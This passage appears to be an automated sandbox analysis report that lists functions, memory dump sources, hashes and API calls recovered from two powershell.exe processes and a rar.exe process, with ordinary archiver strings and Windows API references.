Instruction Fuzzy Hash: 14E09AA0B0B50387F7116B61A834FBA2350AF06749F000534F92D827F9DF3DE2499A10

Analysis Process: powershell.exePID: 7544, Parent PID: 7460COMMON

Executed Functions

Function 00007FFD9AEE67F5 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1959111539.00007FFD9AEE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AEE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aee0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d90288ae328449d801380bd3f8df489ff988c43e22091339f0b43337f9d0cc
Instruction ID: c9305584098c529e83ec66757cf539134204228de29ef8d7667655e2c463622e
Opcode Fuzzy Hash: 18d90288ae328449d801380bd3f8df489ff988c43e22091339f0b43337f9d0cc
Instruction Fuzzy Hash: D2D11832B0DACA0FE7A9ABA848755B57B91EF45310B2801FFD45DC70D3DA1AAC05C351

Function 00007FFD9ACFE620 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1956780631.00007FFD9ACFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9ACFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9acfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2707e6fcb4d7b3d15e415a4fa961ac8ff7c133bb9f65a667ea70660477e4aefb
Instruction ID: 509aa4bffff4f9fd43f9088f188158fda3ebe7110694d179c890eec5c8fb54c0
Opcode Fuzzy Hash: 2707e6fcb4d7b3d15e415a4fa961ac8ff7c133bb9f65a667ea70660477e4aefb
Instruction Fuzzy Hash: 4841387190DBC88FE75A9B389C559563FF0EF56324B0901EFD088CF1A3D624A846C7A2

Function 00007FFD9AE1989D Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd439fedf874c4657736ad0582669b40a686433e1ae49751d4dd1bfd6f42e8e6
Instruction ID: b3a1d683b1b39a036ea4bbaae56af3af79177fbc424042e490d68c8ca792f6fe
Opcode Fuzzy Hash: bd439fedf874c4657736ad0582669b40a686433e1ae49751d4dd1bfd6f42e8e6
Instruction Fuzzy Hash: E031C131A1CB4C8FDB18DB5CAC066A97BE0EB99321F00426FE459D3252DA71A855CBC2

Function 00007FFD9AE1A74C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702ee20c4af116b6e7e7bf865a8caf37733a6b91ab4e6e9710a436bf98754211
Instruction ID: c03eda73d5a286a1655d5b11d2516f688f5fda7be84e4b488c534f12f0d32ea6
Opcode Fuzzy Hash: 702ee20c4af116b6e7e7bf865a8caf37733a6b91ab4e6e9710a436bf98754211
Instruction Fuzzy Hash: CE210631A0CB8C8FEB59DBAC984A7E97FF0EB56320F04416BD048C3152DA75A446CB91

Function 00007FFD9AE133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 06d2ac2465ae7b617642e4c06c1169199b8a441424157cf7d8c5b868efba0901
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: CA01A73120CB0C4FDB48EF0CE051AA5B3E0FB85324F10056EE58AC3691DA32E882CB45

Function 00007FFD9AEE432D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1959111539.00007FFD9AEE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AEE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aee0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9a1a55772e4106c123ea7cc91d3451ed4950f67b3204115b9ea5078b6b8fdb
Instruction ID: d52f6f0a3b40d0200383cda9e42a3ac4d2ca0565e2731816c8622d207e30ef29
Opcode Fuzzy Hash: 3d9a1a55772e4106c123ea7cc91d3451ed4950f67b3204115b9ea5078b6b8fdb
Instruction Fuzzy Hash: 81F03A32B1D5458FE76DEB5CA4558A873E0EF85320B2500FAE16DC75A7CA2AEC41C741

Function 00007FFD9AEE45E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1959111539.00007FFD9AEE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AEE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aee0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e27a1de31b8d193acbf9a369e1180ea1f6f69ead1b1cd3ccdcf913d2f8ab37
Instruction ID: 8eaad0506f63ea633eb776314bcbeb6dbfd0857b0c82ddd9e95490b2c617544d
Opcode Fuzzy Hash: 70e27a1de31b8d193acbf9a369e1180ea1f6f69ead1b1cd3ccdcf913d2f8ab37
Instruction Fuzzy Hash: 2CF05E32B0D5458FDB69EB9CE4518A877E0EF05320B2500F6E16DC75A3CA2AAC44C740

Function 00007FFD9AE1A3C8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d31c5a7f296e5d23d0dfac349e4893c7b65f65b712b3642b9acadd3fbbbb3d
Instruction ID: 52b91b6f9e3bd2179169ce4c8c52dc07a3e1ba9b43fe0855fadae6fb6d7ba3c6
Opcode Fuzzy Hash: 84d31c5a7f296e5d23d0dfac349e4893c7b65f65b712b3642b9acadd3fbbbb3d
Instruction Fuzzy Hash: D7E04631810A4CCF8B49EF28C4199EA77E0FB68301B00425BA82DC3120EB309A58CBC2

Non-executed Functions

Function 00007FFD9AE18BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

M_^J, xrefs: 00007FFD9AE18C7A
M_^I, xrefs: 00007FFD9AE18C72
M_^<, xrefs: 00007FFD9AE18C2A
M_^F, xrefs: 00007FFD9AE18C6A
M_^6, xrefs: 00007FFD9AE18BFA

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID: M_^6$M_^<$M_^F$M_^I$M_^J
API String ID: 0-1500707516
Opcode ID: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction ID: 474887572aaf16b42282042b324e9889f67f7e28ad1653b05354cb36a75cff11
Opcode Fuzzy Hash: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction Fuzzy Hash: 262127777084A6DFD30677ADB8149DC7380DBA427638947F3E269DB583EE18A08786D0

Function 00007FFD9AE186FA Relevance: 6.4, Strings: 5, Instructions: 102COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9AE186FA
M_^, xrefs: 00007FFD9AE18712
M_^, xrefs: 00007FFD9AE18772
M_^, xrefs: 00007FFD9AE18722
M_^, xrefs: 00007FFD9AE187C2

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-679677686
Opcode ID: 3997209995d09384bd33a54fa9837c75e7ff7b98a0c2e3c415e3b67a3fcd7941
Instruction ID: 1f9b80f36c23e47d71b865643466a8d2c089840f99f9c31ea53c4edf3819a47d
Opcode Fuzzy Hash: 3997209995d09384bd33a54fa9837c75e7ff7b98a0c2e3c415e3b67a3fcd7941
Instruction Fuzzy Hash: 4531B4A3E0F6DA9FE76B5A798C754D53FD0BF22618B0A02F7C4D4CA093FD5928468211

Function 00007FFD9AE18955 Relevance: 5.2, Strings: 4, Instructions: 158COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9AE18A2A
M_^, xrefs: 00007FFD9AE189C9
M_^, xrefs: 00007FFD9AE18AC2
M_^, xrefs: 00007FFD9AE18A7A

Memory Dump Source

Source File: 00000006.00000002.1958210433.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^
API String ID: 0-1397233021
Opcode ID: 9220b89b293bd8a44e3b5863003a02f3ee3f7c07532a60cea16a0e03532f3eb3
Instruction ID: 9af52371f77ea030fc241a35ab0761d002494e760925c5b62a9a4e73ea4d3e03
Opcode Fuzzy Hash: 9220b89b293bd8a44e3b5863003a02f3ee3f7c07532a60cea16a0e03532f3eb3
Instruction Fuzzy Hash: BE41B3A3B0F6D66FF36A566948790957FA0FF12348B4942F6C0D48B093FE1A28478252

Analysis Process: powershell.exePID: 1368, Parent PID: 7860COMMON

Executed Functions

Function 00007FFD9AEE180D Relevance: .7, Instructions: 747COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1873454211.00007FFD9AEE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AEE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9aee0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 580a6c10d04dc5575c831a415991470b048da0596a4462cf673f0e1dc6e7a053
Instruction ID: 3e96ed2185ce52a6f6e6bc7d1920389c9d823b9099b8d0c4343d9b5b437ee4cb
Opcode Fuzzy Hash: 580a6c10d04dc5575c831a415991470b048da0596a4462cf673f0e1dc6e7a053
Instruction Fuzzy Hash: F2227722B0DAC94FE7AAA76C58741B47BE1EF96210B1801FBD49CC71D3DA1AAC46C341

Function 00007FFD9AE14DC2 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1872809225.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877aa82a2893e61751cc70a42189dc275fc29feb3df956a698512786b0b42962
Instruction ID: 11ff29d5666e773981c2149f4ecce28e82101ddc3cced759ba491017fb286f31
Opcode Fuzzy Hash: 877aa82a2893e61751cc70a42189dc275fc29feb3df956a698512786b0b42962
Instruction Fuzzy Hash: B771C571F096598FDB59EBACD8A55ECBBF1EF4A310F1441BED049D7292CA35A802CB40

Function 00007FFD9AE13945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.1872809225.00007FFD9AE10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AE10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9ae10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 8dbec33759c5214f60e6709e96cab1c9059fe32b895ae1a8b35e4546d697254f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 5D01A77120CB0C4FDB48EF0CE051AA5B3E0FB85324F10066EE58AC3695D632E881CB41

Analysis Process: rar.exePID: 8132, Parent PID: 7188COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1209
Total number of Limit Nodes:	40

Executed Functions

Function 00007FF629B054C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

+, xrefs: 00007FF629B06535
stdin, xrefs: 00007FF629B0672D
SFX, xrefs: 00007FF629B060CC
VER, xrefs: 00007FF629B05EBA
default.sfx, xrefs: 00007FF629B060F4
SND, xrefs: 00007FF629B05D11
ERR, xrefs: 00007FF629B05D40
rar.log, xrefs: 00007FF629B05CE5
stdin, xrefs: 00007FF629B06236
EML, xrefs: 00007FF629B05D6B
NUL, xrefs: 00007FF629B05DB3
*?., xrefs: 00007FF629B0598C
OFF, xrefs: 00007FF629B05E4B
*.%ls, xrefs: 00007FF629B059AF
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF629B05935
LOG, xrefs: 00007FF629B05CD0

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 31e9027cd6d2d106dda7a59ce2525fddbb22c708e96e014bc1a4096a5a65803f
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: 01C2B322D0C1AEC1FF649E358A442BF2691AFC3786F548235CA0ECA6C5DE6DE544E352

Function 00007FF629AF1884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

.ext, xrefs: 00007FF629AF18C0
rar, xrefs: 00007FF629AF18AA
exe, xrefs: 00007FF629AF1897
,6, xrefs: 00007FF629AF2F83
BK, xrefs: 00007FF629AF19C5
q:, xrefs: 00007FF629AF19DA
%s%s , xrefs: 00007FF629AF2A46
sfx, xrefs: 00007FF629AF1884

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: 7f8114fb2b18ce848bc72a4cfe25606c1bd699ff2abb5b225a9875a58ef852b8
Instruction ID: 9c163d5aac781ec54cf19bba71fb2c797d462d399a85bd0affd03e62992b8e84
Opcode Fuzzy Hash: 7f8114fb2b18ce848bc72a4cfe25606c1bd699ff2abb5b225a9875a58ef852b8
Instruction Fuzzy Hash: 47E28A26A09BC689EF20DF25D8441EE37A1FB8678CF454036CE4D87A96DF3AD544E342

Function 00007FF629B348CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF629B34AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF629B0CC90), ref: 00007FF629B34AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF629B27E7D), ref: 00007FF629B3492E
GetVersionExW.KERNEL32(?,?,?,00007FF629B27E7D), ref: 00007FF629B3496A
LoadLibraryW.KERNELBASE(?,?,?,00007FF629B27E7D), ref: 00007FF629B34993
LoadLibraryW.KERNEL32(?,?,?,00007FF629B27E7D), ref: 00007FF629B3499F

Strings

rarlng.dll, xrefs: 00007FF629B3493A

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: 2c8255a89bfe3faab2d266a899f3fc0d42e4e2d2dee3da071197147916c14e1d
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 7531543161864ACAFF64DF22DC442EE2365FB87786F404135EA4D86A94DF3CE545E701

Function 00007FF629B146EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF629B14620,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B14736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF629B14620,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B1476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF629B14620,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B1477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF629B14620,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B147A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF629B14620,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B147B2

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: db3ee4502de70b846415e90bdd9b40482bd078b5fc4de4f9aa49bf6a06e38b45
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: 3B41B23260868A56EE249F25E8402EE63A1FB8B7B6F400331EA7D837C5DF7CE1559701

Function 00007FF629B0901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF629B0904D
CryptGenRandom.ADVAPI32 ref: 00007FF629B09061
CryptReleaseContext.ADVAPI32 ref: 00007FF629B09074

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: c24bd14acace423395bbc7062d3f4dba0b1cfa07fadb13dae5db62da93c5226e
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: BE014B26B1865982EB008B16E94432EA761EBD6FD1F188031DE4D83B68CE79D946D700

Function 00007FF629AFB540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF629AFB900

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: 544a3eeab9b7365b5894b0fe2e19e3e09eeebdeb3bd711af898eb3b5dda5a90f
Instruction ID: 224422440d2ccff53fd280542a50d8f3700f2ca2d604dde392bf2f82adbb2c42
Opcode Fuzzy Hash: 544a3eeab9b7365b5894b0fe2e19e3e09eeebdeb3bd711af898eb3b5dda5a90f
Instruction Fuzzy Hash: 4F22B032A0868696EF14DF30D8401FEBBB0FB91788F484039DA8D87699DF79E945D742

Function 00007FF629B1AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF629B1B0C7

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac23bd2f1d97dba6c8ed780cfc15edbe6b4d609a338b12ac683d3955c16e23e4
Instruction ID: c5de04d2f3168d5c81b4c94fbe61b255968cff5a55972c154f20f827dc96be87
Opcode Fuzzy Hash: ac23bd2f1d97dba6c8ed780cfc15edbe6b4d609a338b12ac683d3955c16e23e4
